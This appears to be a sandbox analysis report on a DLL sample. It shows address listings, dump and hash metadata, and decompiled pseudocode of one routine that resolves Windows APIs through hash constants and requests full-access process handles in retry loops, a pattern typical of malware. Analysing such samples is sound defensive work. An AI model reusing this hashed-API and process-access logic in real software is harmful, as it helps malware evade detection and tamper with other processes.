                                                                                                                                              0x6e75a88d
                                                                                                                                              0x6e75a79a
                                                                                                                                              0x6e75a79d
                                                                                                                                              0x6e75a7a7
                                                                                                                                              0x6e75a7ac
                                                                                                                                              0x6e75a7ae
                                                                                                                                              0x6e75a7b4
                                                                                                                                              0x6e75a7bb
                                                                                                                                              0x6e75a7bf
                                                                                                                                              0x6e75a7c4
                                                                                                                                              0x6e75a7c8
                                                                                                                                              0x6e75ac03
                                                                                                                                              0x6e75ac17
                                                                                                                                              0x6e75ac3a
                                                                                                                                              0x6e75ac3f
                                                                                                                                              0x6e75ac3f
                                                                                                                                              0x6e75a7df
                                                                                                                                              0x6e75a7e4
                                                                                                                                              0x6e75a7e4
                                                                                                                                              0x6e75a7e4
                                                                                                                                              0x6e75a7e4
                                                                                                                                              0x6e75a7ea
                                                                                                                                              0x6e75a7ef
                                                                                                                                              0x6e75a7f1
                                                                                                                                              0x6e75a7f6
                                                                                                                                              0x6e75a7fd
                                                                                                                                              0x6e75a802
                                                                                                                                              0x6e75a804
                                                                                                                                              0x6e75abc1
                                                                                                                                              0x6e75abd2
                                                                                                                                              0x6e75abec
                                                                                                                                              0x6e75abf1
                                                                                                                                              0x6e75abf1
                                                                                                                                              0x6e75a81a
                                                                                                                                              0x6e75a81f
                                                                                                                                              0x6e75a81f
                                                                                                                                              0x6e75a81f
                                                                                                                                              0x6e75a81f
                                                                                                                                              0x6e75a833
                                                                                                                                              0x6e75a851
                                                                                                                                              0x6e75a856
                                                                                                                                              0x6e75a866
                                                                                                                                              0x6e75a883
                                                                                                                                              0x6e75a885
                                                                                                                                              0x6e75a885
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a79d
                                                                                                                                              0x6e75a653
                                                                                                                                              0x6e75a653
                                                                                                                                              0x6e75a655
                                                                                                                                              0x6e75a65c
                                                                                                                                              0x6e75a66a
                                                                                                                                              0x6e75a66c
                                                                                                                                              0x6e75a66f
                                                                                                                                              0x6e75a676
                                                                                                                                              0x6e75a678
                                                                                                                                              0x6e75a6a9
                                                                                                                                              0x6e75a6b8
                                                                                                                                              0x6e75a6ba
                                                                                                                                              0x6e75a6bc
                                                                                                                                              0x6e75a6da
                                                                                                                                              0x6e75a6dc
                                                                                                                                              0x6e75a6de
                                                                                                                                              0x6e75a6f1
                                                                                                                                              0x6e75a710
                                                                                                                                              0x6e75a716
                                                                                                                                              0x6e75a719
                                                                                                                                              0x6e75a730
                                                                                                                                              0x6e75a74c
                                                                                                                                              0x6e75a74e
                                                                                                                                              0x6e75a74e
                                                                                                                                              0x6e75a74e
                                                                                                                                              0x6e75a74e
                                                                                                                                              0x6e75a6de
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a6bc
                                                                                                                                              0x6e75a67c
                                                                                                                                              0x6e75a67c
                                                                                                                                              0x6e75a67e
                                                                                                                                              0x6e75a68f
                                                                                                                                              0x6e75a691
                                                                                                                                              0x6e75a693
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a69f
                                                                                                                                              0x6e75a6a0
                                                                                                                                              0x6e75a6a7
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a6a7
                                                                                                                                              0x6e75a695
                                                                                                                                              0x6e75a698
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a751
                                                                                                                                              0x6e75a751
                                                                                                                                              0x6e75a752
                                                                                                                                              0x6e75a752
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a545
                                                                                                                                              0x6e75a547
                                                                                                                                              0x6e75a547
                                                                                                                                              0x6e75a549
                                                                                                                                              0x6e75a550
                                                                                                                                              0x6e75a55e
                                                                                                                                              0x6e75a560
                                                                                                                                              0x6e75a564
                                                                                                                                              0x6e75a568
                                                                                                                                              0x6e75a56a
                                                                                                                                              0x6e75a598
                                                                                                                                              0x6e75a59b
                                                                                                                                              0x6e75a5a0
                                                                                                                                              0x6e75a5a4
                                                                                                                                              0x6e75a5a9
                                                                                                                                              0x6e75a5b0
                                                                                                                                              0x6e75a5b5
                                                                                                                                              0x6e75a5b7
                                                                                                                                              0x6e75ab7e
                                                                                                                                              0x6e75ab8f
                                                                                                                                              0x6e75abaf
                                                                                                                                              0x6e75abb4
                                                                                                                                              0x6e75abb4
                                                                                                                                              0x6e75a5cd
                                                                                                                                              0x6e75a5d2
                                                                                                                                              0x6e75a5d2
                                                                                                                                              0x6e75a5d2
                                                                                                                                              0x6e75a5d2
                                                                                                                                              0x6e75a5e4
                                                                                                                                              0x6e75a5e6
                                                                                                                                              0x6e75a5e8
                                                                                                                                              0x6e75a5f9
                                                                                                                                              0x6e75a5f9
                                                                                                                                              0x6e75a5ff
                                                                                                                                              0x6e75a604
                                                                                                                                              0x6e75a608
                                                                                                                                              0x6e75a60e
                                                                                                                                              0x6e75a615
                                                                                                                                              0x6e75a61a
                                                                                                                                              0x6e75a61c
                                                                                                                                              0x6e75ab32
                                                                                                                                              0x6e75ab43
                                                                                                                                              0x6e75ab64
                                                                                                                                              0x6e75ab69
                                                                                                                                              0x6e75ab69
                                                                                                                                              0x6e75a633
                                                                                                                                              0x6e75a638
                                                                                                                                              0x6e75a638
                                                                                                                                              0x6e75a638
                                                                                                                                              0x6e75a638
                                                                                                                                              0x6e75a63b
                                                                                                                                              0x6e75a63b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a63b
                                                                                                                                              0x6e75a56e
                                                                                                                                              0x6e75a56e
                                                                                                                                              0x6e75a570
                                                                                                                                              0x6e75a581
                                                                                                                                              0x6e75a583
                                                                                                                                              0x6e75a585
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a591
                                                                                                                                              0x6e75a592
                                                                                                                                              0x6e75a596
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a596
                                                                                                                                              0x6e75a587
                                                                                                                                              0x6e75a58a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a63c
                                                                                                                                              0x6e75a63c
                                                                                                                                              0x6e75a63d
                                                                                                                                              0x6e75a63d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a549
                                                                                                                                              0x6e75a53f

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 081ab504206d66278972e2c528aa241a84a7c9cd8cdf73f4a558b4ba60faa052
                                                                                                                                              • Instruction ID: d6676ac2e08592d17e023e66d2d11319e227d3938378ac0233412e71846fe44d
                                                                                                                                              • Opcode Fuzzy Hash: 081ab504206d66278972e2c528aa241a84a7c9cd8cdf73f4a558b4ba60faa052
                                                                                                                                              • Instruction Fuzzy Hash: 321272715082019FC718EFA4CA94AAEB7E9EF85704F104E2DE999973B1DF30AD11CB52
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 93%
                                                                                                                                              			E6E758428(signed int* __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				signed int* _t173;
                                                                                                                                              				signed int* _t178;
                                                                                                                                              				void* _t180;
                                                                                                                                              				void* _t181;
                                                                                                                                              				intOrPtr* _t188;
                                                                                                                                              				signed int _t202;
                                                                                                                                              				intOrPtr* _t211;
                                                                                                                                              				intOrPtr* _t212;
                                                                                                                                              				intOrPtr* _t217;
                                                                                                                                              				signed int* _t218;
                                                                                                                                              				void* _t219;
                                                                                                                                              				void* _t220;
                                                                                                                                              				void* _t237;
                                                                                                                                              				void* _t238;
                                                                                                                                              				signed int* _t246;
                                                                                                                                              				void* _t247;
                                                                                                                                              				signed int* _t258;
                                                                                                                                              				intOrPtr* _t269;
                                                                                                                                              				signed int* _t277;
                                                                                                                                              				intOrPtr* _t279;
                                                                                                                                              				void* _t283;
                                                                                                                                              				void* _t285;
                                                                                                                                              				void* _t287;
                                                                                                                                              				signed int* _t296;
                                                                                                                                              				void* _t299;
                                                                                                                                              				signed int* _t308;
                                                                                                                                              				intOrPtr* _t310;
                                                                                                                                              				signed int _t315;
                                                                                                                                              				intOrPtr _t317;
                                                                                                                                              				signed int* _t322;
                                                                                                                                              				signed int _t323;
                                                                                                                                              				signed int _t324;
                                                                                                                                              				void* _t343;
                                                                                                                                              				void* _t414;
                                                                                                                                              				signed int _t415;
                                                                                                                                              				signed int* _t421;
                                                                                                                                              				signed int _t427;
                                                                                                                                              				intOrPtr* _t428;
                                                                                                                                              				intOrPtr* _t429;
                                                                                                                                              				signed int _t431;
                                                                                                                                              				signed int _t433;
                                                                                                                                              				signed int _t437;
                                                                                                                                              				signed int _t438;
                                                                                                                                              				signed int _t439;
                                                                                                                                              				signed int _t442;
                                                                                                                                              				void* _t443;
                                                                                                                                              				signed int _t444;
                                                                                                                                              				void* _t445;
                                                                                                                                              				signed int _t446;
                                                                                                                                              				intOrPtr* _t449;
                                                                                                                                              
                                                                                                                                              				 *_t449 = __ecx + 0x1c;
                                                                                                                                              				 *((intOrPtr*)(_t449 + 0x68)) = __edx;
                                                                                                                                              				 *(_t449 + 4) = __ecx;
                                                                                                                                              				 *(_t449 + 0x84) = 0;
                                                                                                                                              				 *((intOrPtr*)(_t449 + 0x78)) = __ecx + 4;
                                                                                                                                              				while(1) {
                                                                                                                                              					_t413 =  *(_t449 + 0x6c);
                                                                                                                                              					E6E75B658(_t449 + 0x24,  *(_t449 + 0x6c), 0x7fffffff);
                                                                                                                                              					if(E6E75F4D0(_t449 + 0x24) == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						( *(_t449 + 4))[0xb] = 0;
                                                                                                                                              						E6E75F654(_t449 + 0x24);
                                                                                                                                              					}
                                                                                                                                              					L60:
                                                                                                                                              					_t317 = 0xffffffffffffffff;
                                                                                                                                              					L62:
                                                                                                                                              					if(_t317 != 0) {
                                                                                                                                              						L65:
                                                                                                                                              						return _t317;
                                                                                                                                              					}
                                                                                                                                              					if( *(_t449 + 0x84) != 0x20) {
                                                                                                                                              						E6E762234(0x5dc, _t413, _t430);
                                                                                                                                              						 *(_t449 + 0x84) =  *(_t449 + 0x84) + 1;
                                                                                                                                              						continue;
                                                                                                                                              					}
                                                                                                                                              					_t317 = 0xffffffffffffffff;
                                                                                                                                              					goto L65;
                                                                                                                                              					L3:
                                                                                                                                              					__eflags =  *( *(_t449 + 4));
                                                                                                                                              					if( *( *(_t449 + 4)) <= 0) {
                                                                                                                                              						L21:
                                                                                                                                              						__eflags =  *(_t449 + 0x20);
                                                                                                                                              						if( *(_t449 + 0x20) <= 0) {
                                                                                                                                              							L33:
                                                                                                                                              							E6E75F654(_t449 + 0x24);
                                                                                                                                              							_t173 =  *(_t449 + 4);
                                                                                                                                              							__eflags = _t173[0xb];
                                                                                                                                              							if(_t173[0xb] == 0) {
                                                                                                                                              								L46:
                                                                                                                                              								 *((intOrPtr*)(_t449 + 8)) = 0;
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0xc)) = 0;
                                                                                                                                              								E6E75F584(_t449 + 0x14, 0);
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0x34)) =  *((intOrPtr*)(_t449 + 0x68));
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0x38)) = 0;
                                                                                                                                              								E6E75F584(_t449 + 0x40, 0);
                                                                                                                                              								_t178 =  *(_t449 + 4);
                                                                                                                                              								_t414 = 0x40;
                                                                                                                                              								__eflags = _t178[6] - 0x40;
                                                                                                                                              								_t415 =  <  ? _t178[6] : _t414;
                                                                                                                                              								 *(_t449 + 0x80) = _t415;
                                                                                                                                              								__eflags = _t415;
                                                                                                                                              								if(_t415 <= 0) {
                                                                                                                                              									L57:
                                                                                                                                              									_t413 = E6E75F4BC(_t449 + 0x14, 0);
                                                                                                                                              									_t180 = E6E762908( *((intOrPtr*)(_t449 + 0xc)), _t179, 0x3e8);
                                                                                                                                              									_t132 = _t180 - 0x80; // -128
                                                                                                                                              									_t181 = _t132;
                                                                                                                                              									__eflags = _t181 - 0x3f;
                                                                                                                                              									_t315 =  <=  ? _t181 : _t180;
                                                                                                                                              									__eflags = _t315 - 0x102;
                                                                                                                                              									if(_t315 == 0x102) {
                                                                                                                                              										L59:
                                                                                                                                              										E6E75B5C4(_t449 + 0x34);
                                                                                                                                              										E6E75B5C4(_t449 + 8);
                                                                                                                                              										goto L60;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t315 - 0x3f;
                                                                                                                                              									if(_t315 <= 0x3f) {
                                                                                                                                              										__eflags = _t315 << 2;
                                                                                                                                              										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 8)) + 0x2c)) =  *((intOrPtr*)(E6E75F4BC( *(_t449 + 4), _t315 << 2)));
                                                                                                                                              										_t188 = E6E75F4BC( *(_t449 + 0x7c), _t315 << 2);
                                                                                                                                              										_t413 =  *(_t449 + 4);
                                                                                                                                              										 *((intOrPtr*)(_t413 + 0x30)) =  *_t188;
                                                                                                                                              										_t317 =  *((intOrPtr*)(_t413 + 0x2c));
                                                                                                                                              										E6E75B5C4(_t449 + 0x34);
                                                                                                                                              										E6E75B5C4(_t449 + 8);
                                                                                                                                              										goto L62;
                                                                                                                                              									}
                                                                                                                                              									goto L59;
                                                                                                                                              								}
                                                                                                                                              								_t446 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								while(1) {
                                                                                                                                              									E6E75CA8C(_t449 + 0x4c);
                                                                                                                                              									_t413 = 0;
                                                                                                                                              									_t343 = _t449 + 0x4c;
                                                                                                                                              									 *((char*)(_t343 + 4)) = 0;
                                                                                                                                              									 *((intOrPtr*)(_t343 + 0x20)) = 0;
                                                                                                                                              									__eflags = E6E75C280(_t343);
                                                                                                                                              									if(__eflags != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828(_t449 + 0x14, E6E75F4CC(_t449 + 0x10) + 4);
                                                                                                                                              									 *((intOrPtr*)(E6E75F4BC(_t449 + 0x14, E6E75F4CC(_t449 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t449 + 0x4c));
                                                                                                                                              									 *((intOrPtr*)(_t449 + 0xc)) =  *((intOrPtr*)(_t449 + 0xc)) + 1;
                                                                                                                                              									_t202 = E6E763064(0x60a28c5c, 0x3659ae1e);
                                                                                                                                              									__eflags = _t202;
                                                                                                                                              									if(_t202 == 0) {
                                                                                                                                              										L51:
                                                                                                                                              										_t413 =  *(_t449 + 0x6c);
                                                                                                                                              										__eflags = _t413;
                                                                                                                                              										if(__eflags == 0) {
                                                                                                                                              											break;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t413 - 0xffffffff;
                                                                                                                                              										if(__eflags != 0) {
                                                                                                                                              											E6E75F828(_t449 + 0x40, E6E75F4CC(_t449 + 0x3c) + 4);
                                                                                                                                              											 *(E6E75F4BC(_t449 + 0x40, E6E75F4CC(_t449 + 0x3c) + 0xfffffffc)) =  *(_t449 + 0x6c);
                                                                                                                                              											 *((intOrPtr*)(_t449 + 0x4c - 0x14)) =  *((intOrPtr*)(_t449 + 0x4c - 0x14)) + 1;
                                                                                                                                              											E6E75CD24(_t449 + 0x4c, __eflags);
                                                                                                                                              											_t446 = _t446 + 1;
                                                                                                                                              											__eflags = _t446 -  *(_t449 + 0x80);
                                                                                                                                              											if(_t446 <  *(_t449 + 0x80)) {
                                                                                                                                              												continue;
                                                                                                                                              											}
                                                                                                                                              											_t431 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											do {
                                                                                                                                              												_t211 = E6E75F4BC( *(_t449 + 4), _t431 * 4);
                                                                                                                                              												_t212 = E6E75F4BC(_t449 + 0x40, _t431 * 4);
                                                                                                                                              												E6E758B58( *_t211, E6E7602B0(0x60a28c5c, 0x840d15ae),  *_t212, 0, 0);
                                                                                                                                              												_t431 = _t431 + 1;
                                                                                                                                              												__eflags = _t431 -  *(_t449 + 0x80);
                                                                                                                                              											} while (_t431 <  *(_t449 + 0x80));
                                                                                                                                              											goto L57;
                                                                                                                                              										}
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t413 = 0;
                                                                                                                                              									_push(2);
                                                                                                                                              									_push(0);
                                                                                                                                              									_push(0);
                                                                                                                                              									_push(_t449 + 0x6c);
                                                                                                                                              									_push( *((intOrPtr*)(_t449 + 0x78)));
                                                                                                                                              									_push( *((intOrPtr*)(_t449 + 0x60)));
                                                                                                                                              									_push(0xffffffff);
                                                                                                                                              									asm("int3");
                                                                                                                                              									asm("int3");
                                                                                                                                              									__eflags = _t202;
                                                                                                                                              									if(__eflags != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									goto L51;
                                                                                                                                              								}
                                                                                                                                              								E6E75CD24(_t449 + 0x4c, __eflags);
                                                                                                                                              								goto L59;
                                                                                                                                              							}
                                                                                                                                              							_t427 =  *_t173;
                                                                                                                                              							__eflags = _t427;
                                                                                                                                              							if(_t427 <= 0) {
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							_t430 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							_t322 =  &(_t173[1]);
                                                                                                                                              							while(1) {
                                                                                                                                              								_t433 = _t430 * 4;
                                                                                                                                              								_t217 = E6E75F4BC(_t322, _t433);
                                                                                                                                              								_t218 =  *(_t449 + 4);
                                                                                                                                              								__eflags =  *_t217 - _t218[0xc];
                                                                                                                                              								if( *_t217 == _t218[0xc]) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t430 = _t430 + 1;
                                                                                                                                              								__eflags = _t430 - _t427;
                                                                                                                                              								if(_t430 < _t427) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t430 - 0xffffffff;
                                                                                                                                              							if(_t430 != 0xffffffff) {
                                                                                                                                              								_t219 = E6E75F4CC( *_t449);
                                                                                                                                              								__eflags = _t219 - _t433;
                                                                                                                                              								if(_t219 > _t433) {
                                                                                                                                              									 *((intOrPtr*)(_t449 + 0x74)) = 4 + _t430 * 4;
                                                                                                                                              									_t247 = E6E75F4CC( *_t449);
                                                                                                                                              									__eflags = _t247 -  *((intOrPtr*)(_t449 + 0x74));
                                                                                                                                              									if(_t247 >  *((intOrPtr*)(_t449 + 0x74))) {
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x90)) = E6E75F4BC( *(_t449 + 4), _t433);
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x8c)) = E6E75F4BC( *(_t449 + 4),  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                                                              										E6E7638F0( *((intOrPtr*)(_t449 + 0x98)),  *((intOrPtr*)(_t449 + 0x90)), E6E75F4CC( *_t449) -  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *(_t449 + 4), E6E75F4CC( *_t449) + 0xfffffffc);
                                                                                                                                              									_t421 =  *(_t449 + 4);
                                                                                                                                              									_t75 =  &(_t421[6]);
                                                                                                                                              									 *_t75 = _t421[6] - 1;
                                                                                                                                              									__eflags =  *_t75;
                                                                                                                                              								}
                                                                                                                                              								_t220 = E6E75F4CC(_t322);
                                                                                                                                              								__eflags = _t220 - _t433;
                                                                                                                                              								if(_t220 > _t433) {
                                                                                                                                              									_t430 = 4 + _t430 * 4;
                                                                                                                                              									_t237 = E6E75F4CC(_t322);
                                                                                                                                              									__eflags = _t237 - _t430;
                                                                                                                                              									if(_t237 > _t430) {
                                                                                                                                              										_t238 = E6E75F4BC(_t322, _t433);
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x94)) = E6E75F4BC(_t322, _t430);
                                                                                                                                              										E6E7638F0(_t238,  *((intOrPtr*)(_t449 + 0x98)), E6E75F4CC(_t322) - _t430);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828(_t322, E6E75F4CC(_t322) + 0xfffffffc);
                                                                                                                                              									_t246 =  *(_t449 + 4);
                                                                                                                                              									 *_t246 =  *_t246 - 1;
                                                                                                                                              									__eflags =  *_t246;
                                                                                                                                              								}
                                                                                                                                              								E6E75F828( *(_t449 + 4), E6E75F4CC( *_t449) + 4);
                                                                                                                                              								 *(E6E75F4BC( *(_t449 + 4), E6E75F4CC( *_t449) + 0xfffffffc)) = ( *(_t449 + 4))[0xb];
                                                                                                                                              								( *(_t449 + 4))[6] = ( *(_t449 + 4))[6] + 1;
                                                                                                                                              								E6E75F828(_t322, E6E75F4CC(_t322) + 4);
                                                                                                                                              								 *(E6E75F4BC(_t322, E6E75F4CC(_t322) + 0xfffffffc)) = ( *(_t449 + 4))[0xc];
                                                                                                                                              								 *( *(_t449 + 4)) =  *( *(_t449 + 4)) + 1;
                                                                                                                                              							}
                                                                                                                                              							goto L46;
                                                                                                                                              						}
                                                                                                                                              						_t323 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t449 + 0x7c) = _t323 * 4;
                                                                                                                                              							_t428 = E6E75F4BC(_t449 + 0x28, _t323 * 4);
                                                                                                                                              							_t258 =  *(_t449 + 4);
                                                                                                                                              							_t430 =  *_t258;
                                                                                                                                              							__eflags = _t430;
                                                                                                                                              							if(_t430 <= 0) {
                                                                                                                                              								L29:
                                                                                                                                              								_t437 = E6E763064(0x8e844d1e, 0x5c3654e3);
                                                                                                                                              								__eflags = _t437;
                                                                                                                                              								if(_t437 != 0) {
                                                                                                                                              									_t439 =  *_t437(0x1fffff, 0,  *((intOrPtr*)(E6E75F4BC(_t449 + 0x28,  *(_t449 + 0x7c)))));
                                                                                                                                              									__eflags = _t439;
                                                                                                                                              									if(_t439 != 0) {
                                                                                                                                              										E6E75F828( *(_t449 + 4), E6E75F4CC( *_t449) + 4);
                                                                                                                                              										 *(E6E75F4BC( *(_t449 + 4), E6E75F4CC( *_t449) + 0xfffffffc)) = _t439;
                                                                                                                                              										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) + 1;
                                                                                                                                              										_t269 = E6E75F4BC(_t449 + 0x28,  *(_t449 + 0x7c));
                                                                                                                                              										 *(_t449 + 0x70) =  &(( *(_t449 + 4))[1]);
                                                                                                                                              										E6E75F828( *((intOrPtr*)(_t449 + 0x74)), E6E75F4CC( &(( *(_t449 + 4))[1])) + 4);
                                                                                                                                              										 *((intOrPtr*)(E6E75F4BC( *((intOrPtr*)(_t449 + 0x74)), E6E75F4CC( *(_t449 + 0x70)) + 0xfffffffc))) =  *_t269;
                                                                                                                                              										_t277 =  *(_t449 + 4);
                                                                                                                                              										 *_t277 =  *_t277 + 1;
                                                                                                                                              										__eflags =  *_t277;
                                                                                                                                              									}
                                                                                                                                              								}
                                                                                                                                              								goto L32;
                                                                                                                                              							}
                                                                                                                                              							_t438 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							 *(_t449 + 0x88) =  &(_t258[1]);
                                                                                                                                              							while(1) {
                                                                                                                                              								_t279 = E6E75F4BC( *((intOrPtr*)(_t449 + 0x8c)), _t438 * 4);
                                                                                                                                              								__eflags =  *_t279 -  *_t428;
                                                                                                                                              								if( *_t279 ==  *_t428) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t438 = _t438 + 1;
                                                                                                                                              								__eflags = _t438 - _t430;
                                                                                                                                              								if(_t438 < _t430) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t438 - 0xffffffff;
                                                                                                                                              							if(_t438 == 0xffffffff) {
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							L32:
                                                                                                                                              							_t323 = _t323 + 1;
                                                                                                                                              							__eflags = _t323 -  *(_t449 + 0x20);
                                                                                                                                              						} while (_t323 <  *(_t449 + 0x20));
                                                                                                                                              						goto L33;
                                                                                                                                              					} else {
                                                                                                                                              						_t324 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t449 + 0x64) = _t324 * 4;
                                                                                                                                              							_t429 = E6E75F4BC( *(_t449 + 0x7c), _t324 * 4);
                                                                                                                                              							_t430 =  *(_t449 + 0x20);
                                                                                                                                              							__eflags = _t430;
                                                                                                                                              							if(_t430 <= 0) {
                                                                                                                                              								L11:
                                                                                                                                              								_t430 =  &(( *(_t449 + 4))[1]);
                                                                                                                                              								_t283 = E6E75F4CC( &(( *(_t449 + 4))[1]));
                                                                                                                                              								__eflags = _t283 -  *(_t449 + 0x64);
                                                                                                                                              								if(_t283 >  *(_t449 + 0x64)) {
                                                                                                                                              									_t443 = 4 + _t324 * 4;
                                                                                                                                              									_t299 = E6E75F4CC(_t430);
                                                                                                                                              									__eflags = _t299 - _t443;
                                                                                                                                              									if(_t299 > _t443) {
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x9c)) = E6E75F4BC(_t430,  *(_t449 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x98)) = E6E75F4BC(_t430, _t443);
                                                                                                                                              										E6E7638F0( *((intOrPtr*)(_t449 + 0xa4)),  *((intOrPtr*)(_t449 + 0x9c)), E6E75F4CC(_t430) - _t443);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828(_t430, E6E75F4CC(_t430) + 0xfffffffc);
                                                                                                                                              									_t308 =  *(_t449 + 4);
                                                                                                                                              									 *_t308 =  *_t308 - 1;
                                                                                                                                              									__eflags =  *_t308;
                                                                                                                                              								}
                                                                                                                                              								_t442 = E6E763064(0x60a28c5c, 0xe96b154c);
                                                                                                                                              								__eflags = _t442;
                                                                                                                                              								if(_t442 != 0) {
                                                                                                                                              									 *_t442( *(E6E75F4BC( *(_t449 + 4),  *(_t449 + 0x64))));
                                                                                                                                              								}
                                                                                                                                              								_t285 = E6E75F4CC( *_t449);
                                                                                                                                              								__eflags = _t285 -  *(_t449 + 0x64);
                                                                                                                                              								if(_t285 >  *(_t449 + 0x64)) {
                                                                                                                                              									_t445 = 4 + _t324 * 4;
                                                                                                                                              									_t287 = E6E75F4CC( *_t449);
                                                                                                                                              									__eflags = _t287 - _t445;
                                                                                                                                              									if(_t287 > _t445) {
                                                                                                                                              										_t430 = E6E75F4BC( *(_t449 + 4),  *(_t449 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0xa0)) = E6E75F4BC( *(_t449 + 4), _t445);
                                                                                                                                              										E6E7638F0(_t288,  *((intOrPtr*)(_t449 + 0xa4)), E6E75F4CC( *_t449) - _t445);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *(_t449 + 4), E6E75F4CC( *_t449) + 0xfffffffc);
                                                                                                                                              									_t296 =  *(_t449 + 4);
                                                                                                                                              									_t33 =  &(_t296[6]);
                                                                                                                                              									 *_t33 = _t296[6] - 1;
                                                                                                                                              									__eflags =  *_t33;
                                                                                                                                              								}
                                                                                                                                              								_t324 = _t324 - 1;
                                                                                                                                              								__eflags = _t324;
                                                                                                                                              								goto L20;
                                                                                                                                              							}
                                                                                                                                              							_t444 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							while(1) {
                                                                                                                                              								_t310 = E6E75F4BC(_t449 + 0x28, _t444 * 4);
                                                                                                                                              								__eflags =  *_t310 -  *_t429;
                                                                                                                                              								if( *_t310 ==  *_t429) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t444 = _t444 + 1;
                                                                                                                                              								__eflags = _t444 - _t430;
                                                                                                                                              								if(_t444 < _t430) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t444 - 0xffffffff;
                                                                                                                                              							if(_t444 == 0xffffffff) {
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							L20:
                                                                                                                                              							_t324 = _t324 + 1;
                                                                                                                                              							__eflags = _t324 -  *( *(_t449 + 4));
                                                                                                                                              						} while (_t324 <  *( *(_t449 + 4)));
                                                                                                                                              						goto L21;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              			}























































                                                                                                                                              0x6e758435
                                                                                                                                              0x6e75843b
                                                                                                                                              0x6e75843f
                                                                                                                                              0x6e758443
                                                                                                                                              0x6e75844e
                                                                                                                                              0x6e758452
                                                                                                                                              0x6e758457
                                                                                                                                              0x6e75845f
                                                                                                                                              0x6e75846f
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758471
                                                                                                                                              0x6e758479
                                                                                                                                              0x6e758480
                                                                                                                                              0x6e758480
